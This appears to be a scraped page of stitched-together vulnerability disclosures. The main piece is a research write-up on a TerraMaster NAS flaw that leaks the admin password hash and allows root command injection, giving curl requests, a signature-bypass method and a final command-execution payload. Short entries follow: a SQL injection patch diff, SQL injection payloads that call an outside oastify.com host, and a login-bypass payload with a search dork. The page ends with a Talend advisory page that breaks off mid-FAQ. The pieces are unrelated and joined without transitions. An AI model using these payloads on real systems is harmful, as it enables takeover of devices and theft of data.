TerraMaster NAS 4.2.29 and earlier allows remote attackers to discover the administrative password by sending "User-Agent: TNAS" to module/api.php?mobile/webNasIPS and then reading the PWD field in the response.

**Introduction**

This report explains how researchers at Octagon Networks were able to chain two interesting vulnerabilities to achieve unauthenticated remote command execution as root on TerraMaster NAS devices running TOS version 4.2.29. Patches are distributed for 4.2.31 now.

**Analyzing the PHP files**

After downloading the installation package of the latest TOS package from the official download site and extracting it using binwalk, we can see the platform uses nginx server with PHP scripts. The PHP scripts are encrypted on disk. After decrypting them and analyzing their content, there is an interesting php script – /usr/www/module/api.php.

The script starts parsing the uri components in the following manner.

$in = router(); 
$URI = $in\['URLremote'\]; 
if (!isset($URI\[0\]) || $URI\[0\] == '') 
  $URI\[0\] = $default\_controller; 
if (!isset($URI\[1\]) || $URI\[1\] == '') 
  $URI\[1\] = $default\_action; 

define('Module', $URI\[0\]); 
define('Action', $URI\[1\]); 
$class = Module; 
$function = Action;

The router function parses the get parameters and assigns them in such a way that if the request is http://target/module/api.php?XXXX/YYYY, then $class will be XXXX, and $function is YYYY.

It then checks if the function is in an array of NO_LOGIN_CHECK, and if it’s not, it sets REQUEST MODE to 1. This will be important detail for the exploit later.

$GLOBALS\['NO\_LOGIN\_CHECK'\] = array(
      "webNasIPS", 
      "getDiskList", 
      "createRaid", 
      "getInstallStat", 
      "getIsConfigAdmin", 
      "setAdminConfig", 
      "isConnected"
); 
if (!in\_array($function, $GLOBALS\['NO\_LOGIN\_CHECK'\])) { 
      define('REQUEST\_MODE', 1); 
} else { 
      define('REQUEST\_MODE', 0); 
}

It then instantiates the class stated by $class and calls the method stated by $function.

$instance = new $class(); 
if (!in\_array($function, $class::$notHeader)) { 
 #防止请求重放验证... 
 if (tos\_encrypt\_str($\_SERVER\['HTTP\_TIMESTAMP'\]) != $\_SERVER\['HTTP\_SIGNATURE'\] || $\_SERVER\['REQUEST\_TIME'\] - $\_SERVER\['HTTP\_TIMESTAMP'\] > 300) { 
   $instance->output("Illegal request, timeout!", 0); 
 } 
} $instance->$function();

One thing to notice here is that the line if (!in_array($function, $class::$notHeader)) {. If our function is not in an array by the name of $notHeadeer, then a check will be made. It takes the TIMESTAMP http header and passes it to a function called tos_encrypt_str, and compares the output of the function to the value in SIGNATURE http header. It then checks if the timestamp is not older than 5 minutes. The tos_encrypt_str is a custom hashing function, which we will come to analyze later to figure out how SIGNATURE is created.

Looking for php scripts which have classes which can be invoked this way, I came across /usr/www/include/class/mobile.class.php. To start off, it has two arrays of method name, $notCheck and $notHeader.

static $notCheck = \[ 
        "webNasIPS", "getDiskList", "createRaid", "getInstallStat", 
        "getIsConfigAdmin",  "setAdminConfig", "isConnected", 'createid', 
        'user\_create',  'user\_bond', 'user\_release', 'login', 
        'logout', 'checkCode', "wapNasIPS" 
\]; 
//不验证头信息是否匹配... 
static $notHeader = \[
        "fileDownload", "videoPlay", "imagesThumb", 
        "imagesView", "fileUpload", "tempClear", 
        "wapNasIPS", "webNasIPS", "isConnected"
\];

Then it makes three check in its constructor.

if (!in\_array(Action, self::$notHeader)) { 
    if (!strstr($\_SERVER\['HTTP\_USER\_AGENT'\], "TNAS") || !isset($\_SERVER\['HTTP\_AUTHORIZATION'\]) || $this->REQUESTCODE != $\_SERVER\['HTTP\_AUTHORIZATION'\]) { 
        $this->output("Illegal request, please use genuine software!", false); 
    } 
}

The first check ensures that if the method name invoked is not in $notHeader array, it tests whether the user-agent http header is ‘TNAS’ and AUTHORIZATION header is equal to $this->REQUESTCODE. Otherwise it exits with an error message. The AUTHORIZATION header will be important later on. For now, let’s proceed to the second check.

if (REQUEST\_MODE) {
   if (!isset($\_SESSION)) { 
     $this->output("session write error!", false); 
   } else { 
     $this->user = &$\_SESSION\['kod\_user'\]; 
   } 
   if (isset($this->in\['PHPSESSID'\])) { 
     $this->sessionid = $this->in\['PHPSESSID'\]; 
   }
}

if REQUEST_MODE is set, then it checks whether the user is logged in. Otherwise it will exit. And the final check:

if (!in\_array(Action, self::$notCheck)) { 
     if (!$this->loginCheck()) { 
          $this->output("login is timeout", 0); 
     } 
}

It checks whether the method name is in $notCheck, and exits with an error if it’s not.

**Severe Information Leak: CVE-2022-24990**

So, with the knowledge of the two php script chains, we know that the seven functions “webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected” are in NO_LOGIN_CHECK array in api.php, and will set REQUEST_MODE to 0, passing one of the checks in mobile.class.php. And upon further checking these functions, webNasIPS is the only function which is both in $notCheck and $notHeader arrays of mobile.class.php‘s constructor, which effectively can pass two remaining checks. Let’s call webNasIPS and see what it returns.

$ curl -vk 'http://XXXX/module/api.php?mobile/webNasIPS' -H 'User-Agent: TNAS' \* Trying XXXX... \* Connected to 127.0.0.1 (127.0.0.1) port 22056 (#0) 
> GET /module/api.php?mobile/webNasIPS HTTP/1.1 
> Host: 127.0.0.1:22056 
> User-Agent: TNAS < HTTP/1.1 200 OK < Date: Mon, 10 Jan 2022 14:10:40 GMT < Content-Type: application/json; charset=utf-8 < Transfer-Encoding: chunked < Connection: keep-alive < X-Powered-By: TerraMaster \* Connection #0 to host 127.0.0.1 left intact {"code":true,"msg":"webNasIPS successful","data":"NOTIFY Message\\nIFC:10.0.2.2\\nADDR:525400123456\\nPWD:$1$2kc1Zqe8$gighkBlDDDFHpG3RkZtws1\\nSAT:1\\nDAT:\[{\\"hostname\\":\\"ubuntu1604-aarch64\\",\\"firmware\\":\\"TOS3\_A1.0\_4.2.17\\",\\"sn\\":\\"\\",\\"version\\":\\"2110301418\\"},{\\"network\\":\\"eth0\\",\\"ip\\":\\"10.0.2.15\\",\\"mask\\":\\"255.255.255.0\\",\\"mac\\":\\"52:54:00:12:34:56\\"},{\\"service\\":\[{\\"name\\":\\"http\_ssl\\",\\"url\\":\\"\\",\\"port\\":\\"5443\\"},{\\"name\\":\\"http\\",\\"url\\":\\"XXXX\\",\\"port\\":\\"8181\\"},{\\"name\\":\\"sys\\",\\"url\\":\\"XXXX\\",\\"port\\":\\"8181\\"},{\\"name\\":\\"channel\\",\\"url\\":\\"\\",\\"port\\":0},{\\"name\\":\\"pt\\",\\"url\\":\\"\\",\\"port\\":0},{\\"name\\":\\"ftp\\",\\"url\\":\\"\\",\\"port\\":21},{\\"name\\":\\"web\_dav\\",\\"url\\":\\"\\",\\"port\\":0},{\\"name\\":\\"smb\\",\\"url\\":\\"\\",\\"port\\":0}\]}\]","time":2.920037031173706}

It returns a lot of interesting data. Let’s look at the function webNasIPS

function webNasIPS() { 
    if (strstr($\_SERVER\['HTTP\_USER\_AGENT'\], "TNAS")) { 
        $core = new core(); 
        $dataSheet\[0\] = \[ 
            "hostname" => $core->\_hostname(), 
            "firmware" => $core->\_version(), 
            "sn" => $core->\_system\_product\_name(), 
            "version" => $core->\_VersionNumber() 
        \]; 
        $defaultgw = $core->\_default\_RJ45(); 
        $eth = $core->\_netlist($defaultgw); 
        $dataSheet\[1\] = array(
            "network" => $defaultgw, 
            "ip" => $eth\['ip'\], 
            "mask" => $eth\['mask'\], 
            "mac" => $eth\['mac'\]
        ); 
        $dataSheet\[2\] = array("service" => $this->\_getservicelist()); 
        $ifc = $\_SERVER\['REMOTE\_ADDR'\]; 
        $addr = preg\_replace("/\[:\\n\\r\]+/", "", file\_get\_contents("/sys/class/net/eth0/address")); 
        $pwd = $this->REQUESTCODE; 
        if (!file\_exists("/tmp/databack/complete")) { 
            $sat = -1; 
        } else if (!empty($this->\_exec("df-json | awk '/\\/mnt\\/md/'"))) { 
            $sat = !file\_exists(USER\_SYSTEM . '/install.lock') ? 2 : 1; 
        } else { 
            $sat = 0; 
        } $dat = addslashes(json\_encode($dataSheet)); 
        $tpl = "NOTIFY Message\\\\nIFC:$ifc\\\\nADDR:$addr\\\\nPWD:$pwd\\\\nSAT:$sat\\\\nDAT:$dat"; 
        $this->output("webNasIPS successful", true, $tpl); 
    } 
    $this->output("webNasIPS failed", false, ""); 
}

It returns the TOS firmware version, the default gateway interface’s IP and mac address, running services with their binding address and their ports, and a variable $pwd which contains the value of $this->REQUESTCODE. Upon checking the origins of REQUESTCODE, we see that it is set in application.class.php

The _getpasswordfunctions essentially tells that REQUESTCODE is the hash of the admin password. This makes the above information leak a very dire one.

**Finding an OS command injection: CVE-2022-24989**

If we remember earlier, one of the checks in mobile.class.php is:

if (!in\_array(Action, self::$notHeader)) { 
    if (!strstr($\_SERVER\['HTTP\_USER\_AGENT'\], "TNAS") || !isset($\_SERVER\['HTTP\_AUTHORIZATION'\]) || $this->REQUESTCODE != $\_SERVER\['HTTP\_AUTHORIZATION'\]) { 
        $this->output("Illegal request, please use genuine software!", false); 
    } 
}

Since  webNasIPS gives us REQUESTCODE without authentication, we can now call from the seven functions we listed which are in NOT_LOGIN_CHECKand in $notCheck array, but NOT in $notHeader arrary. createRaid is one of the functions which fullfills this.

function createRaid() { 
    $vol = new volume(); 
    if (!isset($this->in\['raidtype'\]) || !isset($this->in\['diskstring'\])){ 
        $this->output("Incomplete parameters", false); 
    } 
    $ret = $vol->volume\_make\_from\_disks($this->in\['raidtype'\], $filesystem, $disks, $volume\_size); 
}

createRaid takes two POST parameters by raidtype and diskstring and calls $vol->volume_make_from_disks with the value of raidtype as the first parameter. Let’s have a closer look at volume_make_from_disks defined in volume.class.php.

function volume\_make\_from\_disks($level, $fs, $disks, $volume\_size) { 
    $this->fun->\_backexec("$\_makemd -s{$volume\_size} -l{$level} -b -t{$fs} {$diskItems} &"); 
}

It takes the first parameter and inserts it into a string to call another function $this->fun->_backexec. _backexec is a function defined in func.class.php.

function \_backexec($command) { 
     if (strstr($command, "regcloud")) { 
          @system("killall -9 regcloud"); 
     } 
     $fp = popen($command, "w"); 
     if ($fp == FALSE) return FALSE; 
     pclose($fp); 
     return TRUE; 
}

_backexec function passes the parameters it receives to popen without any sanitization. Therefore, it’s vulnerable to OS command injection.

**Bypassing Timestamp header checks**

We have now chained the information leak (admin password hash) with an OS injection vulnerability. But we have to return to api.php timestamp header check that we said we will look at later.

$instance = new $class(); 
if (!in\_array($function, $class::$notHeader)) { 
    #防止请求重放验证... 
    if (tos\_encrypt\_str($\_SERVER\['HTTP\_TIMESTAMP'\]) != $\_SERVER\['HTTP\_SIGNATURE'\] || $\_SERVER\['REQUEST\_TIME'\] - $\_SERVER\['HTTP\_TIMESTAMP'\] > 300) { 
        $instance->output("Illegal request, timeout!", 0); 
    } 
} 
$instance->$function();

api.php ensures that if the method name is not in the class’s $notHeader array, it will check that the TIMESTAMP header is not older than 300 seconds (5 minutes), and the SIGNATURE header has to be equal to the output of tos_encrypt_str function call on the TIMESTAMP value. Now, we have three problems.

*   We have to get the time of the machine
*   We have to know how tos_encrypt_str is invoked, and call it with arbitrary value
*   We have to calculate the right TIMESTAMP in epoch time from the machine’s time regardless of time difference

Let’s start with tos\_encrypt\_str.

**Figuring out the custom hash function**

Upon searching tos_encrypt_str, we realize that it’s not defined in the PHP scripts. And after a google search, we realize that it’s not also in the default and common list of php extentions. This leads us to the conclusion that it’s a function in one of TerraMaster’s custom PHP extenstions. Listing the loaded PHP extensions:

$ php -m 
... 
pgsql 
Phar 
php\_terra\_master 
posix 
redis 
...

The extension php_terra_master.so sticks out. It exports one function, tos_encrypt_str.

$ php -r 'var\_dump((new ReflectionExtension("php\_terra\_master"))->getFunctions());' 
 array(1) { 
    \["tos\_encrypt\_str"\] => object(ReflectionFunction)
 #2 (1) { 
    \["name"\]=> string(15) "tos\_encrypt\_str" 
}}

Calling tos_encrypt_str will tell us that it returns a hash.

$ php php -r 'echo tos\_encrypt\_str("XXXX") . PHP\_EOL;' 
6873abbd2da7dca265b78e64ead3729b

Opening the shared object in IDA, and searching for the string tos_encrypt_str, we find out that the hashing function is sub_3738.

result = zend\_parse\_parameters(v3, “s”, &v8, &v10); 
if ( (\_DWORD)result != -1 ) { 
   v5 = (const char \*)sub\_3694(&v9); 
   php\_sprintf(v11, “%s%s”, v5, v8); 
   v6 = (const char \*)sub\_2348(v11); 
   v7 = zend\_strpprintf(0LL, “%s”, v6);

It takes our string to be hashed from zend_parse_parameters, and passes it to php_sprintf (using variable v8). Before the php\_sprintf call, there is a function call sub_3694, whose return value is given to the php\_sprintf call as parameter, with our string. Let’s take a look at it.

\_\_int64 \_\_fastcall sub\_3694(\_\_int64 a1) { 
    int v2; 
    // w21 const char \*v3; 
    // x0 char v5\[40\]; 
    // \[xsp+38h\] \[xbp+38h\] 
    BYREF v2 = socket(2, 1, 0); 
    if ( (v2 & 0x80000000) != 0 ) { 
        v3 = "socket"; 
        LABEL\_5: perror(v3); 
        return 0LL; 
    } 
    strcpy(v5, "eth0"); 
    if ( (ioctl(v2, 0x8927uLL, v5) & 0x80000000) != 0 ) { 
        v3 = "ioctl"; 
        goto LABEL\_5; 
    } 
    php\_sprintf(a1, "%02x%02x%02x", (unsigned \_\_int8)v5\[21\], (unsigned \_\_int8)v5\[22\], (unsigned \_\_int8)v5\[23\]); 
    return a1; 
}

This function gets the mac address of the interface eth0 and returns the last 3 bytes (device specific part) in hex. Then the php_sprintf in sub\_3738 call formats it with our string to a final string to give it to sub_2348. Therefore, if the mac address of eth0 for a device is _55:44:33:12:34:56_ and our string to be hashed is _XXXX_, then the final string given to the actuall hash function (sub\_2348) will be _123456XXXX_.

**Getting the later half of the mac**

tos_encrypt_str using the later half of the mac address of eth0 allows each TerraMaster device to derive different hashes for the same string. This prevents us from calling the function with arbitrary stirng, since we need the mac address.

Lucky for us, webNasIPS, which leaks the admin password hash, also gives us the mac address of the default gateway interface, which is often eth0. Armed with the later half of the mac address, we can write a small hook to call tos\_encrypt\_str with any string value we want to generate the hash.

function webNasIPS() { 
   $dataSheet\[1\] = array(
       "network" => $defaultgw, 
       "ip" => $eth\['ip'\], 
       "mask" => $eth\['mask'\], 
       "mac" => $eth\['mac'
   \]); 
}

**Another information leak: time of the machine**

Now that we can generate the right hash for any arbitrary string for any TerraMaster device, the only remaining piece is the timestamp value. On some TerraMaster TOS devices, there is a Date header that tells us what timezone the target machine is synched to, so we can sync our time with the victim and have an accurate timestamp. However, on TerraMaster devices, it is hardened and the Date header is stripped so it is not easy for us to figure out what timezone the machine is synched to.

Upon replaying with the request, we realize that sending a request to any of these functions in a way that the result is a failure will yield the time of the machine being leaked. Here is a simple request to call createRaid with no AUTHORIZATION, TIMESTAMP and SIGNATURE headers.

$ curl -k 'http://127.0.0.1:22056/module/api.php?mobile/createRaid' | jq -r 
{ 
 "code": false, 
 "msg": "Illegal request, please use genuine software!", 
 "data": \[\], 
 "time": 0.00028896331787109375, 
 "ctime": "2022-01-10 23:00:38" 
}

In the request, there is a value of ctime, which contains the date of the machine with the 24 hour format.

Now, with all the pieces on our hand, the only remaining task is to calculate the timestamp in epoch regardless of the machine’s timezone.

**Calculating the timestamp**

To do this, we can use any unix timestamp calculator. These are the steps to do that.

*   We take the time of the machine from the ctime and convert it to epoch time
*   We calculate our own time (both formal and epoch) (for example: using PHP’s date functionality: php -r 'echo time() . " " . date("Y-m-d H:i:s") . PHP_EOL; ')
*   We subtract the epoch time of our machine from the target machine
*   We convert the subtraction result of the above calculation into relative time
*   We add/subtract the relative time to our machine’s formal time
*   We convert the result from the above calculation to epoch time
*   We now have the right epoch time. We calculate the hash of this epoch time using the machine’s later half of the mac
*   We invoke createRaid with our payload in raidtype

**Exploitation**

The final payload will look something like this.

$ curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&amp;diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r

CVE-2022-24990: CVE-2022-24990: TerraMaster TOS unauthenticated remote command execution via PHP Object Instantiation – Blog

A vulnerability classified as critical has been found in weblabyrinth 0.3.1. This affects the function Labyrinth of the file labyrinth.inc.php. The manipulation leads to sql injection. Upgrading to version 0.3.2 is able to address this issue. The name of the patch is 60793fd8c8c4759596d3510641e96ea40e7f60e9. It is recommended to upgrade the affected component. The identifier VDB-220221 was assigned to this vulnerability.

@@ -45,11 +45,12 @@ public function Labyrinth($ip,$useragent){

global $config;

mt\_srand(Labyrinth::MakeSeed());

  

$this\->crawler\_ip = $ip;

$this\->crawler\_useragent = $useragent;

  

$this\->dbhandle = new SQLiteDatabase($config\['tracking\_db'\]);

$this\->crawler\_info = $this\->dbhandle\->query("SELECT crawler\_ip FROM crawlers WHERE crawler\_ip='$ip' AND crawler\_useragent='$useragent'");

  

$this\->crawler\_ip = sqlite\_escape\_string($ip);

$this\->crawler\_useragent = sqlite\_escape\_string($useragent);

  

$this\->crawler\_info = $this\->dbhandle\->query("SELECT crawler\_ip FROM crawlers WHERE crawler\_ip='$this\->ip' AND crawler\_useragent='$this\->useragent'");

}

  

function CheckForSearchEngines(){

CVE-2011-10002: Fixed SQLi bug described in https://code.google.com/p/weblabyrinth/is… · rotelok/weblabyrinth@60793fd

101news By Mayuri K version 1.0 suffers from multiple remote SQL injection vulnerabilities.

    ## Title: 101news-by-Mayuri-K-1.0 Multiple-SQLi## Author: nu11secur1ty## Date: 02.02.2023## Vendor: https://mayurik.com/## Software: https://mayurik.com/source-code/P4030/news-portal-project-in-php## Reference: https://portswigger.net/web-security/sql-injection## Description:The `comment` parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+'was submitted in the comment parameter.This payload injects a SQL sub-query that calls MySQL's load_filefunction with a UNC file path that references a URL on an externaldomain.The application interacted with that domain, indicating that theinjected SQL query was executed. This system is absolutelyUNPROTECTED!STATUS: HIGH Vulnerability[+]Payload:```mysql---Parameter: comment (POST)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BYor GROUP BY clause    Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(selectload_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''RLIKE (SELECT (CASE WHEN (1140=1140) THEN 0x313637353635+(selectload_file(0x5c5c5c5c316b6d376233693432716b70346d3269793572797068696f62666838357a796e7071646930626f302e6f6173746966792e636f6d5c5c627866))+''ELSE 0x28 END)) AND 'RBgF'='RBgF&submit=    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(selectload_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''AND (SELECT 4135 FROM(SELECT COUNT(*),CONCAT(0x71766b6a71,(SELECT(ELT(4135=4135,1))),0x7171627071,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'iMBs'='iMBs&submit=    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: csrftoken=6606c0284475034686192a71b81d3e9360096c1bc0fa486d4a8636d582e2b0c5&name=IRSaszTW&email=YxpqSxQd@burpcollaborator.net&comment=167565'+(selectload_file('\\\\1km7b3i42qkp4m2iy5ryphiobfh85zynpqdi0bo0.oastify.com\\bxf'))+''AND (SELECT 1879 FROM (SELECT(SLEEP(3)))AQLB) AND 'asLq'='asLq&submit=---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/101news)## Proof and Exploit:[href](https://streamable.com/vrc7x8)## Time spend:01:00:00

101news By Mayuri K 1.0 SQL Injection

Material Dashboard version 2 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Material Dashboard 2 Auth by pass Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : https://www.creative-tim.com/                                                                                      |  | # Dork      : "Material Dashboard 2 by Creative Tim"                                                                             |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] Use Payload = user : 'or''='@gmail.com & pass : 'or''='[+] http://127.0.0.1/kacatalystcom/Greetings to :=========================================================================================================================                                                                                                                                      |jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh     |                                                                                                                                      |=======================================================================================================================================

Material Dashboard 2 SQL Injection

A vulnerability was found in SourceCodester Medical Certificate Generator App 1.0. It has been rated as critical. Affected by this issue is the function delete_record of the file function.php. The manipulation of the argument id leads to sql injection. VDB-220346 is the identifier assigned to this vulnerability.

CVE-2023-0707

A vulnerability, which was classified as critical, has been found in SourceCodester Medical Certificate Generator App 1.0. Affected by this issue is some unknown functionality of the file manage_record.php. The manipulation of the argument id leads to sql injection. The attack may be launched remotely. The identifier of this vulnerability is VDB-220340.

CVE-2023-0706

SQL Injection vulnerability in Talend ESB Runtime 7.3.1-R2022-09-RT thru 8.0.1-R2022-10-RT when using the provisioning service.

**Security incident response information**

Publication date: February 01, 2023

****CVE-2022-45588 and CVE-2022-45589****

Publication date: December 22, 2022

**Okta code repository breach disclosure**

Talend security team is aware of the recent Okta code repository breach disclosure. Per Okta statement here, Talend system has not been impacted and Talend security team continue to monitor the situation.

_Okta statement :_ "**There is no impact to any customers**, including any HIPAA, FedRAMP or DoD customers. No action is required by customers."

Publication date: October 28, 2022

 **CVE-2022-3602 and CVE-2022-3786 Vulnerabilities in OpenSSL 3.0.x**

Talend is aware of and monitoring the pre-announced OpenSSL 3.x (CVE-2022-3602 and CVE-2022-3786) security vulnerability.

Talend is scoping the remediation efforts throughout its Product portfolio and is in the process of developing fixes and remediations to address the vulnerability.

Update: November 1, 2022

To the best of our knowledge and the information currently available, Talend products are **not impacted** by \*\* CVE-2022-3602 and CVE-2022-3786 \*\* security vulnerabilities present in OpenSSL 3.0.x

While not directly exposed to vulnerable version of OpenSSL, we have proactively implemented preventative mitigations and continuous monitoring in Talend Cloud as an added precaution.

  
Publication date: October 20, 2022

﻿**Apache Commons Text variable interpolation (CVE-2022-42889)**

Talend is aware of and monitoring CVE-2022-42889 (Apache Commons Text aka Text4Shell) security vulnerability.  
Mitigations for the vulnerability were implemented in Talend Cloud on October 20, 2022 with no observed impact as a result of the vulnerability prior to implementing the mitigations.  
Talend is scoping the remediation efforts throughout its Product portfolio and is in the process of developing the code fix to address the impacted Products.

Update: October 24, 2022

The Apache Commons Text vulnerability CVE-2022-42889 only applies when the StringSubstitutor API is used with untrusted input. At Talend, we do not use the StringSubstitutor API directly in any of our on-prem products with untrusted input. We have not found any instance of a third-party dependency that we include with our products that uses StringSubstitutor in an insecure way. However, to fully remediate the issue we will be updating the Commons Text version for all our of impacted products.

The Apache Security team have released a statement to clarify the impact of CVE-2022-42889: https://blogs.apache.org/security/entry/cve-2022-42889

_"This issue is different from Log4Shell (CVE-2021-44228) because in Log4Shell, string interpolation was possible from the log message body, which commonly contains untrusted input. In the Apache Common Text issue, the relevant method is explicitly intended and clearly documented to perform string interpolation, so it is much less likely that applications would inadvertently pass in untrusted input without proper validation."_

Publication date: May 26, 2022

**CVE-2022-31648**

Publication date: May 3, 2022

****CVE-2022-29942 and CVE-2022-29943****

Publication date: April 5, 2022

****Spring4Shell (CVE 2022-22965; CVE-2022-22963)****

Talend is aware of and monitoring CVE 2022-22965 and CVE-2022-22963 security vulnerabilities for whether they affect any of our Talend products.

We have been working diligently on addressing the situation throughout our Product portfolio and are in process of developing the code fix to address the impacted Products.

For updates on our investigation and what you can do to assist remediation or mitigation of the vulnerability, please periodically visit the documentation page located at https://help.talend.com/r/RUfDtlfQvuDzJUZC4P9Z9g/7G3ZMXPTMt2klpS~SJ0vtg

As of April 1, 2022, we implemented blocking of external exploitation attempts on Talend Cloud Products for these CVEs.

Publication date: February 10, 2022

****CVE-2021-40684 and CVE-2021-42837****

Publication date: January 18, 2022

**Log4j2 Issue (CVE-2021-44228)******CVE-2021-44228 and CVE-2021-45046****

Talend is aware of the recently disclosed vulnerabilities related to the open-source Apache Software Foundation “Log4j2" utility (reported under CVE-2021-44228 and CVE-2021-45046 as critical severity level). Talend has patched all relevant Products to remedy these vulnerabilities.

Here, you can find additional Product specific information regarding remediation efforts. Certain Talend Products may require configuration changes, which will be shared as they become available. Until deployment of Log4j v2.16, please follow the steps below.

****CVE-2021-45105 and CVE-2021-44832****

Talend is aware of the recently disclosed medium severity vulnerabilities reported under CVE-2021-45105 and CVE-2021-44832 related to the open-source Apache Software Foundation “Log4j2" utility.

CVE-2021-45105 is only applicable when the logging configuration uses a non-default Pattern Layout with a Context Lookup. By default, Talend Products do not use Context Lookups, meaning the vulnerability is only applicable if the Customer manually changed the logging configuration. For Customers that manually changed the logging configuration, the CVE-2021-45105 vulnerability is addressed in Log4J 2.17.0. For Remote Engine Gen1, CVE-2021-45105, Talend addressed the CVE-2021-45105 vulnerability by updating to Log4J 2.17.0 in version 2.11.7.

CVE-2021-44832 is only applicable when the logging configuration uses a JDBC appender with a JNDI data source, or the log4j configuration is modified by an attacker. Talend products do not use a JDBC appended by default for logging. The CVE-2021-44832 vulnerability is addressed in Log4J 2.17.1.

Both medium severities CVEs are resolved with Log4j 2.17.1., which will be released during Talend’s monthly patch within its Continuous Maintenance Development process.

If you need additional details or assistance, please contact Talend Support on Talend Support portal (https://login.talend.com/support-login.php) or by sending an e-mail to customercare@talend.com.

**References**

Apache Log4j2 CVE-2021-44228   
Apache Log4j2 CVE-2021-45046  
Apache Log4j Security Vulnerabilities

**Changelog**

_2022.01.18_  
\- TDC On-Prem section update

_2022.01.07_  
\-  EOL versions evaluation sentence updated

_2022.01.06  
_\- “References” Section updated

_2022.01.04_  
\- “Summary” Table updated:

*   ESB Runtime 7.1.1 Patch information updated
*   Remote Engine Gen1 (Marketplace) patch information updated
*   Talend Cloud Application updated

_2021.12.28_  
\- “Summary” Table updated:

*   ESB Runtime 7.3.1 Patch information updated
*   LogServer 7.1.1 Patch information updated

_2021.12.27  
_\- “Summary” Table updated:

*   Talend Studio 7.2.1 and 7.1.1 Patch information updated
*   IAM 7.1.1 Patch information updated

_2021.12.24  
_\- “Summary” Table updated:

*   ESB Runtime 7.2.1 Patch information updated
*   Remote Engine Gen1 Patch information updated
*   Remote Engine Gen1 (Marketplace) Patch information updated
*   Talend Data Catalog Patch information updated

_2021.12.23  
_\- “Summary” Table updated:

*   ESB Runtime 7.3.1 Patch information updated: Pending Date
*   ESB Runtime 8.0.1 Patch information updated
*   Remote Engine Gen 1 Patch information updated: Pending Date
*   Talend Data Catalog Patch information updated: Pending Date

_2021.12.22  
_\- “Summary” Table updated:

*   Studio 7.3.1 Patch information updated

_2021.12.21  
_\- “Summary” Table updated with:

*   available patch information
*   Studio Mitigation information update

_2021.12.20  
_\- “Summary” Table updated:

*   ESB Runtime 7.1.1 Mitigation and Patch information added
*   IAM 7.1.1 Mitigation and Patch information added
*   LogServer 7.1.1 Mitigation and Patch information added
*   JobServer 7.1.1 Mitigation and Patch information added
*   MDM 7.1.1 Mitigation and Patch information added
*   Talend Administration Center (TAC) Mitigation and Patch information added
*   Talend Data Preparation 7.1.1 Mitigation and Patch information added
*   Talend Data Stewardship 7.1.1 Mitigation and Patch information added
*   Talend Studio On-prem 7.1.1 Mitigation and Patch information added

\- Section “Mitigation steps for TAC” updated  
\- Section “Mitigation steps for ESB Runtime” updated with pre-requisite instructions for 7.2.1 and 7.1.1  
\- Section “Mitigation steps for Remote Engine Gen1” updated with optional step if “impersonate job” feature used

_2021.12.17  
_\- “Summary” Table updated:

*   Talend Data Preparation Mitigation and Patch information added
*   Talend Data Stewardship Mitigation and Patch information added
*   Talend Remote Engine Gen1 (Marketplace) Mitigation and Patch information added
*   Talend Studio Cloud Mitigation information updated
*   Talend Studio on-prem Mitigation and Patch 7.2 information updated

\- Section “Mitigation steps for IAM” - startup script updated  
\- Section “Mitigation steps for MDM” - startup script updated  
\- Section “Mitigation steps for TAC” - startup script updated

_2021.12.16  
_\- “Summary” Table updated:

*   ESB Runtime patch information updated
*   Jobserver Mitigation and Patch information updated
*   MDM Mitigation updated
*   Remote Engine Gen1 Patch information updated
*   Talend Data Catalog Mitigation and Patch updated
*   Talend Studio Mitigation and Patch information updated

\- Section “Mitigaton steps for ESB Runtime” updated with new parameter JAVA\_TOOL\_OPTIONS  
\- Section “Mitigaton steps for JobServer” updated with specific instructions per version  
\- Section “Mitigation steps for MDM” added  
\- Section “Mitigation steps for Remote Engine Gen1” updated with new parameter JAVA\_TOOL\_OPTIONS

_2021.12.15_  
\- Original version

**Summary**

_Remediation for Talend Open Source is not in scope. End-of-Life versions evaluations have been completed. For further details, please contact Talend Support._

**Additional Details**

To accommodate better up-to-date content, all the mitigation technical step section has been moved to the “Log4j2 Issue (CVE-2021-44228)” section of Talend Documentation site. The section is locate at <https://document-link.us.cloud.talend.com/talend\_log4j2\_cve\_statement?lang=en&version=latest&env=prd\>

**Frequently Asked Questions**

**Does Talend employ affected versions of Log4j its software?  
**Yes. Certain Talend Services use Log4j2 or provide it to customers as part of their Services. Details regarding specific Talend Service versions and steps to address the issues are provided in the Security Incident Response.

**Is Log4j part of any functionality a Talend customer uses when working with Talend?  
**Yes.

**Does Talend have a patch available now or when will it be available?  
